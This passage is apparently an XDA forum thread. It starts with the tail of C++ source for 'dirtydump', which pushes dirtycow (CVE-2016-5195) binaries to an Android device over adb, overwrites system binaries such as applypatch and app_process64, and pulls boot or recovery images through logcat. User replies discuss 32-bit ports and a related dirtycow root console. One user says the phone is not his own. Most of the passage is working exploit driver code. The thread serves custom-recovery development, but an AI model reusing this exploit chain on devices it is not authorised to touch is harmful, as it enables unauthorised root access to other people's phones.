"recowvery-app_process32"};
string cmdlist[] = {"adb shell chmod 0777 /data/local/tmp/dirtycow",
"adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_boot",
"adb shell chmod 0777 /data/local/tmp/recowvery-applypatch_recovery",
"adb shell chmod 0777 /data/local/tmp/recowvery-app_process64",
"adb shell chmod 0777 /data/local/tmp/recowvery-app_process32"};
char cmd[128];
/* Push files to the device */
for(auto s : files)
{
sprintf(cmd, "adb push %s%sbin%s%s /data/local/tmp", appDirectory.c_str(), DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, s.c_str());
cout << string(cmd) << endl;
if (runcmd(cmd) != 0)
return -1;
}
/* Apply chmod to the pushed files */
for(auto s : cmdlist)
{
cout << string(s) << endl;
if (runcmd(s) != 0)
return -1;
}
arch = getArchType();
if (arch.empty())
return -1;
return 0;
}
/**
* Apply exploit to applypatch (for boot or process) and app_process64
**/
int runExploit(int v)
{
cout << "**********************" << endl;
cout << "**** Run Exploit *****" << endl;
cout << "**********************" << endl << endl;
string cmdlist[] = {
"", // For applypatch
"" // For app_process
};
if (v == BOOT)
cmdlist[0].append("adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_boot");
else if (v == RECOVERY)
cmdlist[0].append("adb shell /data/local/tmp/dirtycow /system/bin/applypatch /data/local/tmp/recowvery-applypatch_recovery");
else
return -1;
if (arch == ANDROID_64)
cmdlist[1] = "adb shell /data/local/tmp/dirtycow /system/bin/app_process64 /data/local/tmp/recowvery-app_process64";
else
cmdlist[1] = "adb shell /data/local/tmp/dirtycow /system/bin/app_process32 /data/local/tmp/recowvery-app_process32";
for(auto s : cmdlist)
{
cout << s << endl;
if (runcmd(s) != 0)
return -1;
}
return 0;
}
/**
* reboot device from adb
**/
int rebootDevice()
{
cout << "************************" << endl;
cout << "**** Reboot Device *****" << endl;
cout << "************************" << endl << endl;
return runcmd(string("adb reboot"));
}
/**
* Function that do the stuff
* If a line contain *** DUMP START *** it start to get all hex value in HEXDUMP = [a1,e2,b4,ect.] and convert to binary before writing to output file.
* All other line are :
* <*** DUMP ERROR ***> : Error during the process, or your device is disconnected, no more battery...
* <*** DUMP END ***> : Dumping is end / end of process.
* <Other lines> : Displayed
**/
int displayLogAndConvertData(string line)
{
/**
* If an unexpected EOF from recowvery-applypatch or if no <pipe>...
* We can't receive a null string, so break the loop, close fsout, and exit the program.
**/
if (line.empty())
{
cout << string("* < null > received !") << endl;
cout << string("Try again...") << endl;
return -1;
}
/**
* *** DUMP START ***
* set startwrite = true to write parsed data to fsout
**/
if (regex_match(line, rs))
{
startwrite = true;
cout << "Start writing to file..." << endl;
}
/**
* Parse all string received if match
* Note :
* It's possible to have matched string before intercept DUMP START,
* If we convert now, it's a good idea to have a broken output file.
**/
if (startwrite && regex_match(line, rl))
{
string s = regex_replace(line, rl, "$1");
vector<string> data = split(s, ',');
for (int c = 0; c < (int)data.size(); c++)
{
try
{
byte *b = NULL;
int sb;
string_to_bytearray(data[c], b, sb);
fwrite(b, 1, sb, fsout);
}
catch (const exception &ex)
{
cout << endl;
cout << string("** Exception **") << endl;
cout << string(" - When convert : ") << data[c] << endl;
cout << string(" - Message : ") << ex.what() << endl;
}
}
nBlock++;
currentSize = nBlock * 32;
cout << "\r";
cout << "Block read : " << nBlock << " (Size : " << currentSize << ")";
}
/**
* Display the other lines (for debuging, logging...)
**/
else if (!regex_match(line, rl) && (!regex_match(line, rf) && !startwrite) && line.length() > 1)
{
cout << line;
}
/**
* *** DUMP END ***
* Flush and close fsout, inform the user, and break the loop.
**/
if (startwrite && regex_match(line, rf))
{
cout << endl << "Finish" << endl;
startwrite = false;
return 1;
}
/**
* *** DUMP ERROR ***
* An error intercepted from ADB, close fsout, set start to false.
* < applypatch > will restart every 3 min.
* We break the loop after 3 errors.
**/
if (regex_match(line, re))
{
cout << std::string("* Error received from ADB *") << std::endl;
startwrite = false;
if (ncrash == 3)
{
cout << std::string("* Too many tries, please check your < recowvery-applypatch.c > and try again.") << std::endl;
return -1;
}
cout << std::string("* Be patient, recowvery-applypatch will restart in a few minutes.") << std::endl;
ncrash++;
}
return 0;
}
/**
* run <adb logcat -s recowvery> and send line by line to <displayLogAndConvertData> function
**/
int readFromLogcat()
{
cout << "*********************************" << endl;
cout << "**** adb logcat -s recowvery ****" << endl;
cout << "*********************************" << endl << endl;
char buff[1024];
int prc = 0;
FILE *fc = popen("adb logcat -s recowvery", "r");
if (fc)
{
while(fgets(buff, sizeof buff, fc) != NULL)
{
prc = displayLogAndConvertData(string(buff));
// Error occuring
if (prc == -1)
{
cerr << "Error during the process !" << endl;
break;
}
// Process finished
if (prc == 1)
break;
}
/*
* When finish or an error received from adb, <startwrite> is set to false.
* If set to true, a NULL string has been received before receiving a DUMP_END or DUMP_ERROR.
* So, so we display an error.
*/
if (startwrite)
{
cerr << "Error during the process !" << endl;
prc = errno;
}
fclose(fc);
}
else
{
cerr << "Error running <adb logcat -s recowvery" << endl;
}
return prc;
}
/** main **/
int main(int argc, char** argv)
{
int ret = 0;
string filename;
if (argc == 1)
{
help();
return ret;
}
/* Fix for windows
* If run in same directory as the exe, return only the exe name without folder where it run.
* So, if DIRECTORY_SEPARATOR not found in argv_str, appDirectory = "." for linux, mac and windows
*/
string argv_str(argv[0]);
if (argv_str.find_last_of(DIRECTORY_SEPARATOR) != string::npos)
appDirectory = argv_str.substr(0, argv_str.find_last_of(DIRECTORY_SEPARATOR));
else
appDirectory = string(".");
ret = init();
if (ret != 0)
return ret;
if (string(argv[1]) == "boot")
{
ret = runExploit(BOOT);
filename = "boot.img";
}
else
{
ret = runExploit(RECOVERY);
filename = "recovery.img";
}
if (ret != 0)
return ret;
else
{
fsout = fopen(filename.c_str(), "wb");
if (!fsout)
{
cerr << "Can't open or create file : <" << string(filename) << ">" << endl;
rebootDevice();
return errno;
}
else
{
ret = readFromLogcat();
fclose(fsout);
}
cout << endl;
cout << "Image file saved here :" << endl;
cout << " " << appDirectory << string(DIRECTORY_SEPARATOR) << string(filename) << endl;
cout << endl;
}
cout << "Rebooting your device..." << endl;
ret = rebootDevice();
return ret;
}
Note :
There is only linux binary, the windows version come soon.
(I don't know why Windows don't work as expected :x)
If you are interested by the source code, I can attach it.
Tested and build from Ubuntu 16.04 (x64) / Code::Blocks & gedit.
If any bug, I will do the best to solve this.
So sorry for my english, or any misspelling :x
Hey man great work
I was in need of such a tool
I needed the recovery partition for andromax x58
Though I dont own the phone its for someone(yeah you understand it right)
And now finally ported Twrp to it
please make compatible for 32 bit device
Hi,
Normaly, it may work for 32bit device, but can't test it :/
Can you give me error log, text displayed on your terminal please ?
And if possible, what do you have when you do : "adb shell uname -a" ? (because I detect 32 or 64bits device by this)
Regards,
Vincent
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Ricky Divjakovski said:
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Click to expand...
Click to collapse
The boss Appear.What a pleasant thing it is.
China user
Ricky Divjakovski said:
could you please post the dirty dump executable source code so i can port it to windows?
or just tell me how you determind what binary the device needs?
Click to expand...
Click to collapse
Hi and sorry for the time to answer...
I've added the source code at the end of the first post
The Hard Gamer said:
Hey man great work
I was in need of such a tool
I needed the recovery partition for andromax x58
Though I dont own the phone its for someone(yeah you understand it right)
And now finally ported Twrp to it
Click to expand...
Click to collapse
Hai Bro,what command you issue in linux to run ?
Thks
Hmm this is awesome except the part it doesn't work on Ubuntu 14.04 and source code need gcc-4.9 to build (not sure).
Anyway I will install Ubuntu 16.04 to make new things to LG K4 (2016) [MTK MT6735m], good job thanks for it
@Vince_02100 what compilers did you used to applypatch and app_process64?
I need to compile a version to armv7(aka 32), since my current device (the LG K4) have a x32 Android and a x64 CPU.
I'm improving your dirtydump but with limitations since I don't know much about C/C++.
Please reply or PM me, anyway I will try my best to make it x32 support
@Vince_02100
My question is, did you base the operation of your tool on the dirtycow exploit? Seems like it because of its name and reference to jcadduono.
This is actually awesome then because I have a tool very similar only it works as a shell command handler. The Greyhat Root Console essentially is it's own Terminal Interface specifically to use dirtycow for root shell commands.
I only bring that up because Stock OEM builds that are dated October 2016 or later pretty much can't utilize CVE-2016-5195. Some didn't get patched that soon but most did. The rule of thumb I've always had when working with Dirtycow is to use stock builds from September 2016. Since they are the most up to date builds still vulnerable. I don't know how many people reading this thread know that.
Here is the thread I made where @droidvoider explains how to use the Greyhat Root Console: https://forum.xda-developers.com/android/help/injecting-root-setting-selinux-stages-t3573036
The thread also details our journey into modifying the Device SEPolicy using the console in order to elevate our normal user privileges. We have the instructions to build the Console for both 32-Bit and 64-Bit Builds of Android 5.1.1 & 6.0.1
I think the source code and our thread may just give you some good insight going forward with your tool, even though The Greyhat Root Console was developed on an AT&T Galaxy Note 5. That thread is a gold mine for dirtycow information.
Thanks for your great tool and explanation @Vince_02100. I'm researching to dump boot, recovery for Onkyo DP-CMX1 to make custom TWRP. I have some stupid questions and need your help like following:
1. Tool will not break system partition and it can boot normally after dumping recovery, boot?
2. I don't have root so how can I copy dumped files: ./boot.img , ./recovery.img to /sdcard or to computer? Do I edit your code
fp = fopen(blockDev, "r"); to make it write to /sdcard/boot.img?